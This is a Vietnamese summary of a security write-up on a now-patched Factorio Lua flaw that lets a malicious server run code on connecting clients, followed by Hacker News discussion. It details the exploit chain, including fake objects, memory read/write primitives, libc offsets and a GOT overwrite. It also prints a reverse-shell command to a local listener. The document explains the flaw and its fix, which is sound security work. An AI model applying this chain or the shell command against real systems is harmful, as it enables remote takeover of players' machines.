Phân tích bytecode: Làm rõ lỗ hổng bảo mật Lua của Factorio
(memorycorruption.net)- Lỗ hổng trong triển khai Lua của Factorio cho phép máy chủ độc hại thực thi mã tùy ý trên client đang kết nối, phạm vi ảnh hưởng là các phiên bản trước 1.1.101 đã được vá
- Do multiplayer vận hành theo cơ chế deterministic lockstep, trong đó cùng một mã Lua được thực thi, kẻ tấn công có thể dùng bản đồ tùy chỉnh độc hại để kích hoạt lỗ hổng qua đường mạng
- Trọng tâm của vấn đề nằm ở việc
load/loadstringcủa mô-đunbasecho phép thực thi bytecode, cùng lỗiOff-By-Onevà thiếu kiểm tra kiểu trong bộ xác minh riêng của Factorio - Exploit rò rỉ địa chỉ bằng nhầm lẫn kiểu
FORLOOP, rồi thao túng chỉ số upvalue để gây nhầm lẫn giữaLClosurevàTString, từ đó dựng đối tượng giả và các primitive đọc/ghi tùy ý - RCE trên Linux thay địa chỉ
ldexptrong GOT bằngsystemvà lạm dụng lời gọimath.ldexp; do khác biệt về offset cấu trúc của Factorio và định dạng%a, cần hiệu chỉnh riêng
Phạm vi lỗ hổng và đường lộ Lua
- Lỗ hổng trong triển khai Lua của Factorio cho phép máy chủ độc hại thực thi mã tùy ý trên client, và ảnh hưởng đến các phiên bản Factorio trước 1.1.101
- Lua được dùng trong Factorio để triển khai logic game, mod và bản đồ tùy chỉnh
- Mod có thể được lấy từ trong game hoặc từ Factorio Mods
- Cộng đồng modding có hàng nghìn mod, một số có hơn 500.000 lượt tải
- Thoạt nhìn đây có vẻ là một kiểu tấn công cục bộ, đòi hỏi phải trực tiếp cài mod độc hại, nhưng do cơ chế đồng bộ multiplayer, trình thông dịch Lua bị lộ ra đường mạng
- Multiplayer của Factorio dùng deterministic lockstep
- Chỉ input của người dùng được gửi qua mạng, không phải bản thân trạng thái game
- Game của tất cả người chơi phải mô phỏng từng tick giống hệt nhau
- Nếu một người chơi thực thi mã Lua, các người chơi còn lại cũng phải thực thi cùng mã đó để đồng bộ
- Có thể tóm tắt hai đường để kẻ tấn công cho chạy mã Lua
- Khi có quyền, chạy mã Lua trên server bằng lệnh
/c - Tạo bản đồ tùy chỉnh chứa mã Lua để client thực thi khi kết nối tới server
- Khi có quyền, chạy mã Lua trên server bằng lệnh
- Nếu đưa một server độc hại lên server browser, có thể tạo luồng trong đó nạn nhân tải bản đồ xuống và thực thi mã Lua
Luồng tấn công tổng thể
- Cuộc tấn công bắt đầu bằng việc server Factorio cung cấp bản đồ độc hại
- Exploit được nhúng vào mã Lua kịch bản của bản đồ
- Khi client kết nối tới server, nó tải bản đồ và thực thi mã Lua liên quan
- Sau đó, điểm yếu trong triển khai Lua được dùng để dựng đối tượng giả (fake object)
- Đối tượng giả cho phép rò rỉ bộ nhớ và làm hỏng bộ nhớ
- Kết quả là có thể tạo nhiều primitive dẫn tới thực thi mã
- Trong ngôn ngữ động, đối tượng giả là phương tiện cốt lõi giúp kẻ tấn công giành quyền kiểm soát mạnh
- Chuỗi có thể được dùng để rò rỉ dữ liệu tùy ý
- Mảng hoặc bảng có thể được dùng để ghi bộ nhớ tùy ý
- Nếu có đường gọi hàm native, nó có thể dẫn tới kiểm soát luồng thực thi
Thực thi bytecode Lua và vấn đề của bộ xác minh
- Các mô-đun Lua đi kèm Factorio bị giới hạn
debug: truy cập chức năng debugmath: giao diện toán học C chuẩnbit32: phép toán bitstring: thao tác chuỗitable: thao tác bảngbase: các hàm lõi Lua nhưprint
- Những mô-đun rõ ràng nguy hiểm như
os.executeđã bị loại bỏ, nhưngloadvàloadstringcủa mô-đunbasecho phép thực thi bytecode, nên bề mặt tấn công lớn - Lua trước hết biên dịch mã nguồn thành bytecode Lua, rồi chạy trong trình thông dịch
- Bytecode không phải mã máy CPU, mà là biểu diễn chỉ trình thông dịch Lua mới chạy được
- Nếu có thể chèn bytecode trực tiếp, có thể thực thi bytecode sai mà trình biên dịch bình thường sẽ không tạo ra
- Các nhà phát triển Lua biết rủi ro của việc thực thi bytecode tùy ý và đã tạo bộ xác minh, nhưng đã gỡ bỏ trong Lua 5.2
- Trên mailing list của Lua có ghi nhận rằng bộ xác minh cũ liên tục bị bypass, và các ứng dụng chạy mã Lua tùy ý tốt hơn hết không nên nhận precompiled script
- Có vẻ nhà phát triển Factorio đã triển khai bộ xác minh bytecode riêng trên Lua 5.2.1
- Logic bảo vệ tập trung chặn các tham số OOB rõ ràng như nhảy ra ngoài mã hoặc chỉ số vượt ngoài mảng hằng
- Do ý nghĩa của một số opcode, tồn tại vấn đề
Off-By-One; khi xử lý offset nhảy nhưJMP 0, có thể nhảy ra ngoài khối mã - Vì vùng hằng có thể được cấp phát sau code chunk, kẻ tấn công có thể lưu bytecode trong phần hằng và bypass kiểm tra bằng cú nhảy off-by-one để thực thi
Rò rỉ địa chỉ: nhầm lẫn kiểu FORLOOP
- Đối tượng nội bộ của Lua được biểu diễn bằng
TValueTValuegồmValue, vùng giá trị, vàtt_, biểu thị kiểuValuelà vùng 8 byte, được diễn giải như double hoặc con trỏ tùy kiểu
- Tất cả số trong Lua 5.2 được biểu diễn bằng double
- Số có thể được lưu inline trong union
Valuemà không đi qua con trỏ - Nếu khiến con trỏ chuỗi được diễn giải như số, các bit con trỏ có thể bị lộ dưới dạng giá trị double
- Số có thể được lưu inline trong union
- Trong Lua thông thường,
print(function)có thể in địa chỉ, nhưng trong Factorio tính năng này đã bị loại bỏ, và địa chỉ chuỗi cũng không thể bị rò rỉ trực tiếp - Opcode vòng lặp
FORLOOPthường phải đi sauFORPREPFORPREPkiểm tra giá trị bắt đầu, giới hạn và step có phải là số hay không- Bên trong
FORLOOP, kiểu của tham số step không được kiểm tra; kiểm tra dựa trênlua_assertkhông bị cưỡng chế trong bản build mặc định
- Kẻ tấn công có thể sửa bytecode để bỏ
FORPREPvà chỉ chạyFORLOOP- Tạo bằng bytecode một tình huống mà trình biên dịch từ nguồn Lua bình thường sẽ không tạo ra
- Nếu đặt đối tượng như chuỗi vào vị trí step, con trỏ của
TValueđó sẽ được diễn giải như double và bị rò rỉ
- Giá trị rò rỉ không phải double hợp lệ, mà là giá trị sinh ra khi diễn giải bit con trỏ như double, nên trông như một số nhỏ kiểu
2.1944577826691e-317- IEEE 754 binary64 gồm 1 bit dấu, 11 bit mũ và 52 bit mantissa
- Nếu giá trị con trỏ trông như denormalized double, có thể khôi phục giá trị gốc từ mantissa
- Lua 5.2 không có pack/unpack và kiểu số nguyên, nên việc chuyển đổi khá phức tạp
- Ban đầu dùng
string.format("%.13a", double)để đọc mantissa và exponent rồi khôi phục con trỏ - Giá trị rò rỉ ví dụ được khôi phục thành con trỏ
0x43d6c0, còn dữ liệu chuỗi thật nằm sau headerTString24 byte
- Ban đầu dùng
Thao túng upvalue và nhầm lẫn kiểu LClosure
- Upvalue là cơ chế của Lua để truy cập biến ở scope bên ngoài hàm hiện tại
- Thông tin upvalue trong bytecode gồm chỉ số, tên, liệu có nằm trên stack hay không, và chỉ số stack
- Kẻ tấn công có thể sửa chỉ số upvalue có trong bytecode
- Khi đổi chỉ số upvalue, có thể tham chiếu tới một
TValuekhác trên stack thay vì biến cục bộ ban đầu- Trong ví dụ, chỉ số upvalue
targetđược tăng thêm một để trỏ tớiLClosurecủa hàm hiện tại - Bytecode bị sửa sẽ in
LClosure: 0x...thay vìnil
- Trong ví dụ, chỉ số upvalue
- Trong Lua, đơn vị thực thi thật sự của một hàm được chia thành Prototype và Closure
Protođóng vai trò mẫu hàm, chứa bytecode, hằng, dòng nguồn, thông tin upvalue, v.v.LClosuređược tạo trong lúc chạy, liên kếtProtovới danh sách upvalue
- Opcode
CLOSUREtạo một Lua closure mới, đặt lên stack rồi khởi tạo upvalue- Nếu có 3 biến cục bộ,
LClosuremới có thể được đặt tạibase + 3 - Nếu đổi chỉ số upvalue thành
3, có thể bắtTValueLClosureở vị trí đó
- Nếu có 3 biến cục bộ,
- Nếu hàm bên trong ghi đè
LClosurecủa hàm bên ngoài bằng chuỗi, sau khi trả về, Lua sẽ cố dùng chuỗi nhưLClosurevà gây crash- Kiểm tra kiểu trong đường
OP_RETURNphụ thuộc vàolua_assertvà không bị cưỡng chế trong cấu hình mặc định - Kết quả là
clcủa frame thực thi hiện tại có thể không trỏ tớiLClosurethật, mà tớiTStringdo kẻ tấn công kiểm soát
- Kiểm tra kiểu trong đường
- Lợi dụng khác biệt layout giữa
TStringvàLClosure, vùng dữ liệu người dùng của chuỗi chồng lên vị tríProto *pvàUpval **upval- Nhầm lẫn kiểu này cho phép kiểm soát con trỏ prototype của hàm và con trỏ mảng upvalue
- Nếu trỏ chúng tới vùng nhớ có thể kiểm soát, có thể tạo đối tượng giả
Đối tượng giả và primitive đọc/ghi
- Có hai đường chính để tạo đối tượng giả
- Đường để
Protogiả trỏ tới mảngTValuegiả - Đường để mảng
UpValgiả trỏ tớiTValuegiả
- Đường để
- Đường hằng được chọn vì có ít padding và có thể tái sử dụng hằng trong hàm
TStringgiả- Mảng
TValuetrỏ tớiTStringgiả Prototrỏ tới mảngTValuegiảLClosuretrỏ tớiProtogiả
TStringgiả có thể được dùng làm primitive đọc bằng cách đặt độ dài tùy ý lớn- Dữ liệu chuỗi Lua được giả định nằm sau header
TString - Có thể dùng
str:sub()để đọc bộ nhớ trong phạm vi mà chuỗi giả chạm tới - Chỉ số chuỗi Lua bắt đầu từ 1, nên cần hiệu chỉnh 1 byte khi tính header
- Dữ liệu chuỗi Lua được giả định nằm sau header
- Primitive ghi được tạo bằng cách khiến
UpValgiả trỏ tớiTValuetại địa chỉ cần ghi- Khi gán số vào biến Lua, một
TValuesố sẽ được ghi vào vị trí đó - Vì số được lưu inline trong 8 byte đầu của
TValue, có thể kiểm soát vùng giá trị - Đồng thời, thông tin kiểu được ghi vào 8 byte tiếp theo, nên bộ nhớ lân cận cũng có thể bị hỏng
- Khi gán số vào biến Lua, một
- Do số Lua là double, cần chuyển đổi để ghi mẫu bit số nguyên mong muốn
- Dùng đơn vị nhỏ nhất của denormalized double là
2^-1074 - Mã hóa số nguyên thành biểu diễn double theo dạng
integer_to_double(integer) = integer * 2^-1074
- Dùng đơn vị nhỏ nhất của denormalized double là
Kiểm soát con trỏ lệnh và bypass ASLR
Light C Functioncủa Lua lưu inline con trỏ hàm bên trongTValue- Kiểu hàm là
LUA_TFUNCTION, vàLight C Functionđược biểu diễn bằng giá trịLUA_TLCFlà22 - Nếu đặt
0xdeadbeefvào vùng giá trị củaTValuevà22vào vùng kiểu, có thể gọi nó như một hàm tại địa chỉ đó
- Kiểu hàm là
- Gọi
Light C Functiongiả cho phép kiểm soát instruction pointer- Trong ví dụ,
RIPtrở thành0xdeadbeefvà crash - Sau đó có thể dẫn tới các kỹ thuật thay đổi luồng thực thi như ROP chain
- Trong ví dụ,
- Việc con trỏ
Light C Functionđược lưu inline cũng hữu ích cho rò rỉ địa chỉ- Nếu các hàm Lua được triển khai dưới dạng light C function, có thể đọc địa chỉ của các hàm như
printbằng primitive rò rỉ địa chỉ - Từ đó có thể tính địa chỉ cơ sở cần thiết để bypass ASLR
- Nếu các hàm Lua được triển khai dưới dạng light C function, có thể đọc địa chỉ của các hàm như
- Nếu hàm bị sandbox vẫn còn trong binary, cũng có thể bypass bằng cách trỏ fake function tới địa chỉ đó rồi gọi
Hiệu chỉnh cho Factorio
- Các thử nghiệm ban đầu được thực hiện trên trình thông dịch Lua chính thức, nhưng triển khai Lua của Factorio có layout cấu trúc khác
- Đối tượng GC
CommonHeadercủa Factorio có thêm con trỏprevious- Lua chính thức có cấu trúc
next,tt,marked - Factorio dường như dùng cấu trúc
previous,next,tt,marked
- Lua chính thức có cấu trúc
- Khác biệt này làm một số offset lệch thêm 8 byte
- Header
TStringkhông phải 24 byte mà là 32 byte - Cần sửa cách tính địa chỉ nội dung chuỗi và địa chỉ tương đối của primitive đọc
- Trong tính toán
UpValgiả và fake closure cũng phải tính thêm con trỏ bổ sung
- Header
- Trong Factorio, hành vi của định dạng
%acũng khác với thử nghiệm trên Lua chính thứcstring.format("%.13a", 2.1038461432219e-316)không cho ra0x0.000000289c130p-1022như kỳ vọng, mà cho dạng0xa.2704c00000000p-1052- Vì vậy, khôi phục double dựa trên định dạng chuỗi bị hỏng
- Chuyển đổi cuối cùng được đổi sang cách thuần số học
- Có thể xem các giá trị denormalized là mọi số nguyên bắt đầu từ bit thấp nhất bên phải
- Khôi phục giá trị rò rỉ bằng
double_to_number(double) = double * 2^52 * 2^1022 - Vì
2^1074không thể biểu diễn bằng double, phép nhân được chia thành hai bước
RCE trên Linux: thay GOT và math.ldexp
- Đường RCE được chọn trên Linux dùng thay GOT thay vì ROP chain
- Tìm một imported function có thể gọi từ Lua và kiểm soát được đối số đầu tiên
- Ghi đè GOT entry của hàm đó bằng địa chỉ
system - Gọi hàm đó từ Lua để nó hoạt động như
system(command)
- Trong bộ thư viện Lua bị giới hạn của Factorio,
math.ldexpđược dùng làm hàm phù hợp- Bên trong nó gọi
ldexp(luaL_checknumber(L, 1), luaL_checkint(L, 2)) - Kiểm tra bằng GDB xác nhận tình huống đối số Lua thứ hai được truyền vào đối số thanh ghi đầu tiên
RDIcủa lời gọi libc
- Bên trong nó gọi
- GOT nằm trước heap nên khó đọc trực tiếp chỉ bằng primitive đọc chuỗi giả hiện có
- Primitive đọc chỉ có thể đọc các địa chỉ sau header chuỗi giả
- Dùng writable segment nằm trước GOT để dựng một
TStringgiả ở vị trí trước GOT
- Khi tạo
TStringgiả trước GOT, có thể đọc địa chỉ hàm libc để bypass ASLR- Trong ví dụ, địa chỉ
memcpyđược đọc từ GOT - Với offset của libc 2.38 trên Fedora 39, tính
libc_base = memcpy - 0x138b80,system = libc_base + 0x2a3b0
- Trong ví dụ, địa chỉ
- Sau đó ghi đè GOT entry của
ldexpbằng địa chỉsystem- Trong địa chỉ ví dụ, vị trí
0x289ef00được dùng làm GOT entry củaldexp - Ghi đè theo dạng
write(0x289ef00, system)
- Trong địa chỉ ví dụ, vị trí
Thực thi lệnh và shell từ xa cuối cùng
- Ban đầu định lưu lệnh trong chuỗi Lua và gọi bằng
math.ldexp(0, addr_of(cmd) + 32)- Lệnh có dạng
sh -c "sh -i >& /dev/tcp/127.0.0.1/9001 0>&1 &" - Nhưng Lua gọi
ldexpvới tham số 32-bit, khiến các bit cao của địa chỉ chuỗi bị cắt và thất bại
- Lệnh có dạng
- Cách bypass là ghi trực tiếp chuỗi lệnh vào writable segment của binary đã dùng khi tạo chuỗi giả trước đó
- Do PIE không bật, địa chỉ main binary đủ nhỏ
- Chuỗi lệnh được ghi vào quanh địa chỉ
0x289c150bằng nhiều lầnwrite()
- Lời gọi
math.ldexp(0, 0x289c150)sau khi thay GOT hoạt động như lời gọisystem(0x289c150) - Kết quả thực thi cuối cùng được xác nhận bằng shell kết nối tới listener
nc -lvp 9001cục bộ- Prompt shell là
sh-5.2$ - Kết quả
whoamilàvictim
- Prompt shell là
Challenge luyện tập và tài liệu tham khảo
- Cuối bài có cung cấp một challenge chạy trên trình duyệt: thoát khỏi trình thông dịch Lua để thực thi hàm JavaScript không thể gọi trực tiếp bằng mã Lua
- Challenge: Escape from Alcawasm
- Các liên kết tham khảo liên quan
- Bối cảnh gỡ bỏ bộ xác minh bytecode Lua: bản sao Wayback của mailing list lua-l
- Mã bộ xác minh Lua của Factorio: Factorio Lua
- Triển khai số trong Lua: Programming In Lua: Numbers
- Closure trong Lua: Programming in Lua: Closures
- Giải thích định dạng
%a: GNU libc Floating-Point Conversions - Tham khảo exploit Lua 5.1 trên Windows: Exploiting Lua 5.1 on 32-bit Windows
1 bình luận
Các ý kiến trên Hacker News
Khá bất ngờ
Lua diễn giải bytecode, nên tôi cứ nghĩ nó có thể kiểm tra xem các đối số của lệnh có hợp lệ hay không. Ví dụ như chúng có trỏ tới vùng nhớ do Lua cấp phát hay không
Nhưng thực tế lại không phải vậy; nếu đưa vào bytecode với đối số sai, nó vẫn cứ chạy nguyên như thế. Quá trình xâm nhập sau đó tiếp diễn từ đó
Hơn nữa, thay vì sửa trình thông dịch, kế hoạch lại là phân tích bytecode tĩnh; cách này có vẻ chỉ hiệu quả trong các trường hợp đơn giản
Với một ngôn ngữ thông dịch được cho là thân thiện với sandbox thì điều này khá đáng thất vọng, và tôi tò mò liệu họ có chấp nhận bản vá sửa trình thông dịch để nó không tin tưởng đầu vào hay không. Có vẻ họ lo ngại suy giảm hiệu năng, nhưng trong bối cảnh lựa chọn nhanh là LuaJIT thì điều đó đáng nghi ngờ
Cách này có vẻ hợp lý vì vẫn để lại lựa chọn nạp trực tiếp bytecode đáng tin cậy, đồng thời không cần đưa các kiểm tra động ảnh hưởng tới mọi người dùng vào trình thông dịch
Theo thiết kế, Lua không cung cấp bảo đảm về việc kết thúc, và cũng không có cách tốt để cưỡng bức chấm dứt một chương trình không đáng tin cậy. Nếu nhận đầu vào Lua không đáng tin cậy, nên xem như chương trình có thể bị treo vô thời hạn
Lua rất tốt cho đầu vào bán tin cậy đã qua thẩm định tối thiểu, chẳng hạn mã tải xuống từ Internet. Ngay cả khi mã đó thực sự độc hại, nó có thể hạn chế đáng kể thiệt hại, nhưng không thể loại bỏ hoàn toàn
Nếu cần đầu vào hoàn toàn không đáng tin cậy kiểu JavaScript, thì Luau, bản fork của Roblox, mới là lựa chọn phù hợp: https://luau-lang.org/sandbox
Như các ngôn ngữ khác đã cho thấy, việc tạo ra một trình thông dịch an toàn cho bytecode không phải chuyện đơn giản. Đó cũng là một đánh đổi để giữ cho triển khai tham chiếu đơn giản
Về việc chạy mã của bên thứ ba, tôi không tin tưởng hầu hết các trình thông dịch kiểu này. Dù xét tới lượng chi phí R&D và sự chú ý mà trình duyệt web nhận được, tôi thậm chí cũng chỉ vừa đủ tin trình duyệt mà thôi
Cũng giống như việc không chạy mã máy tùy ý vậy
Luau cũng có cùng tính chất này, nhưng chẳng phải Roblox đâu có lúc nào cũng khốn đốn vì thoát sandbox sao
Mong những phần như thế này được định nghĩa hoặc ghi tài liệu rõ ràng hơn. Hiện tại ta phải tự tìm hiểu xem ngôn ngữ nào được bảo đảm là an toàn ở mức hợp lý
Ví dụ, có trường hợp cơ bản là mã tĩnh do chính người dùng chạy, đây là trường hợp các ngôn ngữ thông thường, bao gồm Lua, quan tâm
Cũng có trường hợp nhận và chạy mã động trong quá trình cập nhật, nhưng chỉ qua kênh chính thức. Khi đó có thể xử lý bằng cách làm cho tiến trình an toàn, nhưng không chắc chắn
Cũng có trường hợp người dùng có thể thêm mã dưới dạng plugin và dễ dàng cài đặt chỉ bằng một nút bấm trong cửa hàng. Có thể duyệt xét plugin, nhưng thường gần như không được làm đúng mức, nên cần cân nhắc liệu có cần sandbox hay người dùng phải cẩn trọng
Cũng có trường hợp trong game nhiều người chơi, chỉ máy chủ được mở rộng bằng plugin còn client thì không. Cần tính tới việc các game thủ mở server sẽ tích cực thử nhiều plugin, và cộng đồng plugin cũng có thể nguy hiểm hơn nhiều
Cuối cùng là game nhiều người chơi nơi server có thể chạy mã tùy ý trên client, giống trình duyệt. Trong trường hợp này phải đặc biệt cẩn trọng với sandbox phía client. Vì game thủ thường vào các server tùy ý mà không nghĩ tới tác động bảo mật
Factorio chính là trường hợp cuối cùng này. Tôi không hẳn phản đối việc nhà phát triển phải tự đánh giá điều đó, nhưng chẳng hạn việc hàm
loadcủa Lua có thể chạy bytecode tùy ý không an toàn không phải lúc nào cũng hiển nhiênThành thật mà nói, tôi không biết bytecode Lua là không an toàn, còn bytecode LuaJIT thì tôi biết là không an toàn. Nhưng có vẻ sự thật này chỉ được ghi rải rác trên mailing list hoặc issue GitHub như một điều hiển nhiên
Còn có vấn đề server có thể làm client bị treo. Chỉ cần chạy vòng lặp vô hạn là được. Tuy nhiên việc này khó tránh hơn nhiều, và có lẽ cố tránh cũng vô nghĩa
Không có tùy chọn tắt trình duyệt ở phía client, và theo tôi biết thì cuối cùng các nhà phát triển đã vô hiệu hóa hoàn toàn tính năng này, nhưng tôi không chắc tình trạng hiện tại
Điều đó cho thấy game và engine game đã trở nên phức tạp đến mức nào. Một trình duyệt web nhúng xuất hiện ở những chỗ dường như chẳng có lý do đặc biệt
Đằng sau Factorio có một đội ngũ phát triển thật sự giỏi, nên tôi tin họ đang làm hết sức để sửa những vấn đề kiểu này. Chỉ là nhìn chung việc phát triển game mang tính sáng tạo rất cao, nên những thứ như thực hành viết mã hay bảo mật có vẻ bị đẩy xuống sau
Không biết có bao nhiêu lỗ hổng zero-day đang ẩn trong client và server game
Flatpak có thể là một điểm khởi đầu hữu ích. Container không phải là ranh giới bảo mật mạnh, nhưng có thể chặn được các exploit đơn giản
Đó không chỉ là quyết định kinh doanh đơn giản để buộc người dùng dùng dịch vụ online chính thức. Nếu chặn kết nối tới IP server bên thứ ba, thì dù có lỗi nghiêm trọng trong mã mạng hay phần còn lại của game, chúng cũng sẽ không bao giờ bị khai thác. Hạn chế mod, kể cả những mod “an toàn” như Lua, còn có thể ngăn thêm exploit
Trong lịch sử, mã mạng nhiều lỗi đã từng làm sụp đổ DRM của nhiều console
Không chỉ exploit, các console còn tự hào rằng mã phải được xét duyệt trước khi phân phối. Cho phép chạy Lua từ một hệ thống từ xa nghĩa là ngay cả sau khi được phê duyệt, game vẫn có thể bị chính nhà phát triển tái cấu hình từ xa, và các nhà sản xuất console sẽ không muốn cho phép điều đó nếu không xem xét cực kỳ kỹ lưỡng
Lý tưởng là cô lập trong máy ảo, nhưng việc thiết lập máy ảo chơi game cực kỳ phiền phức, và có thể bị loại trừ với một số game dùng anti-cheat
Nghĩ đến việc các lĩnh vực khác đang rất cần người giỏi lập trình, gần như thấy tiếc khi những người lành nghề lại làm trong mảng game
Nhìn chung, việc kiểm chứng chương trình cực kỳ khó, không chỉ vì định lý Rice. Đặc biệt với một ngôn ngữ bytecode không tầm thường như Lua, rất dễ bỏ sót điểm nào đó. Chẳng hạn Wasm không có khái niệm vòng lặp for
Thật lạ là sau khi dự án thượng nguồn từ bỏ vấn đề này vì quá khó, các nhà phát triển Factorio lại cố sửa hoặc tự viết bộ kiểm chứng
Hàm
loadstringcủa Minetest cấm hoàn toàn bytecode: https://github.com/minetest/minetest/blob/9a1501ae89ffe79c38...Tôi thắc mắc vì sao mod Factorio lại cần khả năng chạy bytecode Lua thô. Nếu không cần, thì cũng không cần bộ kiểm chứng
Ngay từ đầu, chạy mã Lua tải về qua mạng đã khá nguy hiểm. Môi trường thực thi JavaScript đã trải qua hàng chục năm lặp đi lặp lại việc tìm và sửa exploit. Lua cũng có chuyện đó, nhưng quy mô nhỏ hơn và cũng ít nhân lực để cải thiện bảo mật hơn
Biện pháp bảo vệ chính có lẽ là số người chạy server game độc hại ít hơn
Vì lý do bảo mật tương tự, gần như toàn bộ thư viện debug cũng bị cấm dùng trong mod
loadstring()của LuaVí dụ có bài viết của các nhà phát triển ROBLOX từ 12 năm trước: https://archive.is/oXPyM
Thành thật mà nói, vô hiệu hóa mặc định sẽ tốt hơn. Các trường hợp sử dụng chính đáng khá là ngách
Hơn nữa, tạo ra phần mềm đơn giản là không thể chạy trong một môi trường Turing-complete thì khá hạn chế
Dù sao thì thật sự cần một trình thông dịch có hệ thống quyền hạn mạnh
Nhưng nếu bạn thỏa hiệp rằng chỉ chấp nhận một phần các đầu vào đáp ứng yêu cầu thực tế, thì định lý Rice kết thúc ở đó. Giờ chỉ còn một việc cực kỳ khó, thay vì một việc bất khả thi
Dù thất bại, ít nhất có thể được an ủi rằng sẽ không bị nói là đã làm một việc bất khả thi
Factorio lẽ ra không nên đi theo con đường này
Câu hỏi rất nhập môn, nhưng tôi thắc mắc vì sao các game dùng Lua, thay vì chẳng hạn dùng JavaScript nhúng với một giao diện đã định nghĩa như API để điều chỉnh trạng thái game
Có vẻ sẽ hưởng lợi từ các lớp gia cố mạnh hơn nhiều đã được đưa vào việc cô lập môi trường trình duyệt. Trình duyệt là mục tiêu khó, được kiểm thử rất kỹ và được đầu tư rất nhiều tiền
Cũng đã có khối lượng công việc khổng lồ dành cho tối ưu hóa hiệu năng kiểu động
Hơn nữa, nếu mod cần UI thì đã có canvas, và nếu cung cấp một mô hình giống DOM thì những thứ như React cũng có thể khả thi
Lua được tạo ra chuyên cho việc tích hợp, nên có nhiều tài liệu và được một cộng đồng lớn hỗ trợ
Ngoài ra bạn đang nhầm lẫn giữa các API trình duyệt phổ biến và JavaScript. Engine JavaScript không cung cấp canvas hay DOM. Ví dụ V8 cũng không cung cấp; những thứ đó phải tự thêm vào
Tôi không phải nhà phát triển bảo mật, nhưng theo phép lịch sự vẫn muốn nói: “Chà, cái này thật sự ấn tượng!” Thật khó tin phải suy nghĩ rõ ràng và logic đến mức nào mới truy vết được một ca thất bại phức tạp như vậy. Chắc chắn đó không phải điểm mạnh của tôi; tôi giống kiểu “người phụ trách ý tưởng” hơn nhiều
Về mặt nội dung, nếu xuất hiện một tập thể kỹ sư phần mềm AI được trang bị 10.000 bài blog chuyên tìm các kiểu khai thác bộ nhớ kỳ quặc như thế này, có lẽ chúng ta tiêu thật
Rốt cuộc tôi nghĩ cần một mô hình hoàn toàn mới cho bảo mật, hoặc ít nhất là một thành phần mới trong stack. Những thứ như client “được tin cậy” hiện đại hay vai trò DB nghe cứ như đang vá các lỗ trên miếng phô mai Thụy Sĩ
Hy vọng là ta có thể phủ thêm một lớp phô mai Thụy Sĩ mới do LLM quản lý
Vậy tức là, đây chẳng phải đang cho thấy một exploit dựa vào nạp bytecode, một tính năng vốn được quảng bá là có thể bị lạm dụng sao? Tôi đã bỏ sót gì à?
jmp, hay việc trình thông dịch Lua cố diễn giải mọi thứ nó vớ được thành lệnhNó còn cố diễn giải cả phần dữ liệu mà bộ kiểm chứng không đụng tới
loadstringThật may là những người có năng lực như vậy đứng về phía tốt
Truyền thông tin tức khiến ta tin điều ngược lại, và các bình luận trung bình dưới những tin đó cũng củng cố niềm tin ấy, nhưng nếu thật vậy thì làm sao những tiện nghi xa xỉ cùng các chương trình y tế và hỗ trợ xã hội mà chúng ta đang hưởng lại có thể tồn tại được
Không có nghĩa là thế giới không có vấn đề, nhưng rõ ràng người xây dựng nhiều hơn người phá hoại rất nhiều
Tôi vừa từ một thread HN liên quan đến Panama Papers sang nên ý nghĩ này càng hiện rõ. Ở đó không khí khá hoài nghi, kiểu mọi người giàu đều xấu xa và tất cả đều hoàn toàn thoát truy tố, nhưng thực ra có vài bình luận chỉ ra rất đúng rằng cả hai điều đó đều không phải sự thật. Chỉ là phải đọc xuống dưới thread một chút và đừng để bị cuốn theo sự hoài nghi
Tôi nghĩ bytecode Lua tuyệt đối không nên được dùng ngoài các hệ thống nhúng thiếu tài nguyên để chạy parser mã nguồn Lua
Ngoài các lỗ hổng bảo mật, công dụng duy nhất có vẻ hữu ích là cho chương trình mã nguồn đóng
Có thể tôi đã bỏ sót, và thú thật phần sau tôi chỉ đọc lướt, nhưng dường như tác giả hoàn toàn không đề cập thực tế đã có biện pháp giảm thiểu nào được thực hiện. Tôi muốn nghe thêm về phần đó
1.1.104: https://github.com/Rseding91/Factorio-Lua/commit/4d924b69808...
và 1.1.107: https://github.com/Rseding91/Factorio-Lua/commit/ce12474c7fc...
Phần liên quan nhất là thay đổi
luaB_loadtrong 1.1.104, đơn giản là đã vô hiệu hóa nạp bytecode